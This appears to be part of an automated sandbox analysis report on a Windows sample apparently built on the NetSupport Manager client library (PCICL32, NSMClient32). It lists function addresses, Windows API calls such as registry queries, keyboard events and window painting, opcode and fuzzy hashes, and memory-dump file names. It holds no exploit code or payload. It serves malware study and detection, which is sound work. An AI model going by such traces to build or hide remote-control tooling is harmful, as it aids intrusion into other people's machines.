Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction ID: 51784f3a6cc6e5149e616e04a2eb2c6e0d372b09ba8f06c96ffc5d3ba3765e1d
Opcode Fuzzy Hash: 6ebcb2ed19ff45d4e03ce3bb4affc9ea6a4a037fcd6ce03922cabf34851b5b2f
Instruction Fuzzy Hash: F5F0BB79A4411C5FE718DFA0CC51FF9B36AE784709F444269E956D61C4CE70594CC741

Uniqueness

Uniqueness Score: -1.00%

Function 11164C77, Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

__lock_file.LIBCMT ref: 11164CBE

Part of subcall function 1116BE59: __lock.LIBCMT ref: 1116BE7E

__fclose_nolock.LIBCMT ref: 11164CC9

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
Instruction ID: afac539be2367be23e5fb54bb350a7e23aa7a519b2fcc5708fa11322496ce6e3
Opcode Fuzzy Hash: 271288d31555c81154ec7293090fb485e1e9931888df87aecff959c56407cd41
Instruction Fuzzy Hash: B4F0F0358017138AD7109B78CC0078EFBE96F0133CF1182088434AA6D4CBFA6521DB46

Uniqueness

Uniqueness Score: -1.00%

Function 11010AE0, Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010B94

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 674591a9cf5b99c6b76fadc49bf5f19c5d73d91f2c58c24d8327e4ef389a798e
Instruction ID: 6fbf298b81733ad5c02794b6394837a2ddc0a350229d48e3ddb53e27456ddbdc
Opcode Fuzzy Hash: 674591a9cf5b99c6b76fadc49bf5f19c5d73d91f2c58c24d8327e4ef389a798e
Instruction Fuzzy Hash: F1516B74A00649DFDB04CF98C980AADFBF5BF89318F248298D5469B385C776E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 11143BD0, Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1111025B,745EC740,?,?,11145D2F,00000000,CSDVersion,00000000,00000000,?), ref: 11143BF0

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction ID: ee220ac459adc96ef86e18eb3808082b68f6554a37139a9005b103db31ef1b78
Opcode Fuzzy Hash: 91328a05fa49adc7f96a877065892eb549607f162fa4bf6631575699f60be126
Instruction Fuzzy Hash: 2611B97171C2795FEB15CE46D690AAEFB6AEBC5F14F30816BE51947D00C332A482C754

Uniqueness

Uniqueness Score: -1.00%

Function 11170FC4, Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,1103179F,00000000,?,1116AC94,?,1103179F,00000000,00000000,00000000,?,1116C627,00000001,00000214,?,1111023E), ref: 11171007

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction ID: 2763c535338e1a2717ceb9c309c83b7f036f5409daf397f77e32ba57fb3352a5
Opcode Fuzzy Hash: 5134503a2c8da02e36f93c83ba404df5dd22f98f66039dab1883123dd78627a5
Instruction Fuzzy Hash: B301D4353423A79BFB1A8E35CDA4B5BB79ABF827A4F01462DE815CB280D774D800C780

Uniqueness

Uniqueness Score: -1.00%

Function 11164EAD, Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11164EBA

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: eecee5f277637f0c818c851ebfea4a610619873cfad902e7c0818376e8e04ccc
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 0CC09B7644010C77CF111946DC01E4D7F1E97D0664F444010FB1C19560A573E971D585

Uniqueness

Uniqueness Score: -1.00%

Function 00821000, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00821000(intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t3;

				_t3 = _a16;
				_push(_t3);
				_push(_a12); // executed
				L008210AA(); // executed
				return _t3;
			}

0x00821003
0x00821009
0x0082100a
0x0082100b
0x00821011

APIs

_NSMClient32@8.PCICL32(?,?,?,008210A2,00000000), ref: 0082100B

Memory Dump Source

Source File: 00000006.00000002.916328823.0000000000821000.00000020.00020000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000006.00000002.916321843.0000000000820000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: 3b5da6fcc3abeb7a8d03ad64514e5dee16c4e52ebd5120bcea04ae6e619d87ac
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 3FB092B211434D9B8B14EE99E845C7B339CBAA8600B000809BE0583282CA61FCA09672

Uniqueness

Uniqueness Score: -1.00%

Function 1116C488, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,11178B2B,111F29D8,00000314,00000000,?,?,?,?,?,1116E7EB,111F29D8,Microsoft Visual C++ Runtime Library,00012010), ref: 1116C48A

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 034736193946d95bcfb76139b375fa58cd735bbaf493e69cf92d6cc7d133de75
Instruction ID: 85178daedb8e135e59ea49443ffa37c172a2f839626d84bfb77205dd36a12bfe
Opcode Fuzzy Hash: 034736193946d95bcfb76139b375fa58cd735bbaf493e69cf92d6cc7d133de75
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1100892B, Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 414COMMON

Download Yara Rule

APIs

SetPropA.USER32(?), ref: 11008A16

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11005410: GetObjectA.GDI32(?,0000003C,?), ref: 110054E5
Part of subcall function 11005410: wsprintfA.USER32 ref: 1100553D

GetPropA.USER32 ref: 11008A25
wsprintfA.USER32 ref: 11008A54
RemovePropA.USER32 ref: 11008A88

Strings

..\CTL32\annotate.cpp, xrefs: 110089D9, 110089FA, 11008A67
NSMAnnotate::m_aProp, xrefs: 110089FF
hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 11008A4E

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Propwsprintf$ErrorExitLastMessageObjectProcessRemove
String ID: ..\CTL32\annotate.cpp$NSMAnnotate::m_aProp$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 869764834-186141278
Opcode ID: 0262f33b45fd045501bfc209f1bd4c363809984cc0be8ceb014ec124e93ed540
Instruction ID: 80c2cff1ab1a22a4b76193193ce02908356bed8a5bad52033486d257d4387e30
Opcode Fuzzy Hash: 0262f33b45fd045501bfc209f1bd4c363809984cc0be8ceb014ec124e93ed540
Instruction Fuzzy Hash: 84B1D531B001199BEB18DFA5DC94FBFB7A8FF99314F0042AFE9069B280DA745950D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 1115F840, Relevance: 18.0, APIs: 8, Strings: 2, Instructions: 459COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32 ref: 1115F886
RemovePropA.USER32 ref: 1115F8A5
RemovePropA.USER32 ref: 1115F8B4
RemovePropA.USER32 ref: 1115F8C3

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

CallWindowProcA.USER32 ref: 1115FC59

Strings

old_wndproc, xrefs: 1115F85D
..\ctl32\wndclass.cpp, xrefs: 1115F858

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: PropRemove$Window$CallErrorExitLastLongMessageProcProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$old_wndproc
API String ID: 1777853711-3305400014
Opcode ID: d15fbf1ee6f48fdfeb5a3f8b4ce6e4d3d5fcee809489cf716bc2b57072c05fa9
Instruction ID: 2a1ce18ce9ffe677ff7d10ad8131c1a7db68a641085b95e9de3494b6caebac20
Opcode Fuzzy Hash: d15fbf1ee6f48fdfeb5a3f8b4ce6e4d3d5fcee809489cf716bc2b57072c05fa9
Instruction Fuzzy Hash: 39D18E7530411A9BD748CE69E894EBBB3EAEBC9310B10466EFD56C3781DA31AC1187B1

Uniqueness

Uniqueness Score: -1.00%

Function 110C1020, Relevance: 6.1, APIs: 4, Instructions: 93windowthreadCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 110C10AD
ShowWindow.USER32(000000FF,00000009,?,1105E793,00000001,00000001,?,00000000), ref: 110C10BD
BringWindowToTop.USER32(000000FF), ref: 110C10C7
GetCurrentThreadId.KERNEL32 ref: 110C10E8

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Window$BringCurrentIconicShowThread
String ID:
API String ID: 4184413098-0
Opcode ID: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction ID: 84533db14937db9444e2f7c69536c5845b28cc0232cb9748846df38ed0837754
Opcode Fuzzy Hash: 9cd2ccb7cdf78e839ebc1708f3911b6b440f138af10aef91ba48fa7e682de2eb
Instruction Fuzzy Hash: 1731CD3AA00315DBDB14DE68D48079ABBA8AF48754F1540BAFC169F246CBB5E845CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 11113190, Relevance: 3.1, APIs: 2, Instructions: 54keyboardCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,00000101,?,00000001,00000000,00000000,?,00000000), ref: 111131E2
keybd_event.USER32(00000091,00000046,00000000,00000000), ref: 11113215

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ControlDevicekeybd_event
String ID:
API String ID: 1421710848-0
Opcode ID: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction ID: d69eaa5760cfcdb7a6e8037c3782fd2f7db196db4b5aaba7e7bab0ff0a721f20
Opcode Fuzzy Hash: 9865bf64858dfd4b5ae79e364b4789db47783bc591ded0e092dc9763c4139b7b
Instruction Fuzzy Hash: E4012432F55A1539F30489B99E45FE7FA2CAB40721F014278EE59AB2C8DAA09904C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 11015840, Relevance: 43.7, APIs: 29, Instructions: 170COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 1101586F
GetWindowRect.USER32 ref: 11015887
_memset.LIBCMT ref: 11015895
CreateFontIndirectA.GDI32(?), ref: 110158B1
SelectObject.GDI32(00000000,00000000), ref: 110158C5
SetBkMode.GDI32(00000000,00000001), ref: 110158D0
BeginPath.GDI32(00000000), ref: 110158DD
TextOutA.GDI32(00000000,00000000,00000000), ref: 11015900
EndPath.GDI32(00000000), ref: 11015907
PathToRegion.GDI32(00000000), ref: 1101590E
CreateSolidBrush.GDI32(?), ref: 11015920
CreateSolidBrush.GDI32(?), ref: 11015936
CreatePen.GDI32(00000000,00000002,?), ref: 11015950
SelectObject.GDI32(00000000,00000000), ref: 1101595E
SelectObject.GDI32(00000000,?), ref: 1101596E
GetRgnBox.GDI32(00000000,?), ref: 1101597B
OffsetRgn.GDI32(00000000,?,00000000), ref: 1101599A
FillRgn.GDI32(00000000,00000000,?), ref: 110159A9
FrameRgn.GDI32(00000000,00000000,?,00000002,00000002), ref: 110159BC
DeleteObject.GDI32(00000000), ref: 110159C9
SelectObject.GDI32(00000000,?), ref: 110159D3
SelectObject.GDI32(00000000,?), ref: 110159DD
DeleteObject.GDI32(?), ref: 110159E6
DeleteObject.GDI32(?), ref: 110159EF
DeleteObject.GDI32(?), ref: 110159F8
SelectObject.GDI32(00000000,?), ref: 11015A02
DeleteObject.GDI32(?), ref: 11015A0B
SetBkMode.GDI32(00000000,?), ref: 11015A15
EndPaint.USER32(?,?), ref: 11015A29

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Object$Select$Delete$Create$Path$BeginBrushModePaintSolid$FillFontFrameIndirectOffsetRectRegionTextWindow_memset
String ID:
API String ID: 3702029449-0
Opcode ID: e7ca80d8907cc304a46d9070d682bdfbe178c52b0f9b8c57fa8b4971fc68b104
Instruction ID: e7a7d0d35206815f70b1bb972d69f7a8e5722a3a2875c7dff22017cd80ac6707
Opcode Fuzzy Hash: e7ca80d8907cc304a46d9070d682bdfbe178c52b0f9b8c57fa8b4971fc68b104
Instruction Fuzzy Hash: 6F51FA75A41228AFDB14DBA4CD88FAEB7B9FF89304F004199E51997244DB74AE40CF61

Uniqueness

Uniqueness Score: -1.00%

Function 11003800, Relevance: 40.7, APIs: 27, Instructions: 240COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 1100385F
InflateRect.USER32(?,000000FF,000000FF), ref: 1100387A
GetSysColor.USER32(00000010), ref: 1100388D
GetSysColor.USER32(00000010), ref: 110038A4
GetSysColor.USER32(00000014), ref: 110038BB
GetSysColor.USER32(00000014), ref: 110038D2
GetSysColor.USER32(00000014), ref: 110038F5
GetSysColor.USER32(00000014), ref: 1100390C
GetSysColor.USER32(00000010), ref: 11003923
GetSysColor.USER32(00000010), ref: 1100393A
GetSysColor.USER32(00000004), ref: 11003951
SetBkColor.GDI32(00000000,00000000), ref: 11003958
InflateRect.USER32(?,000000FE,000000FD), ref: 11003966
GetSysColor.USER32(00000010), ref: 11003982
CreatePen.GDI32(?,00000001,00000000), ref: 1100398B
SelectObject.GDI32(00000000,00000000), ref: 11003999
MoveToEx.GDI32(00000000,?,?,00000000), ref: 110039B2
LineTo.GDI32(00000000,?,?), ref: 110039C6
SelectObject.GDI32(00000000,?), ref: 110039D4
DeleteObject.GDI32(?), ref: 110039DE
GetSysColor.USER32(00000014), ref: 110039EC
CreatePen.GDI32(?,00000001,00000000), ref: 110039F5
SelectObject.GDI32(00000000,00000000), ref: 11003A02
MoveToEx.GDI32(00000000,?,?,00000000), ref: 11003A1E
LineTo.GDI32(00000000,?,?), ref: 11003A35
SelectObject.GDI32(00000000,?), ref: 11003A43
DeleteObject.GDI32(00000000), ref: 11003A4A

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
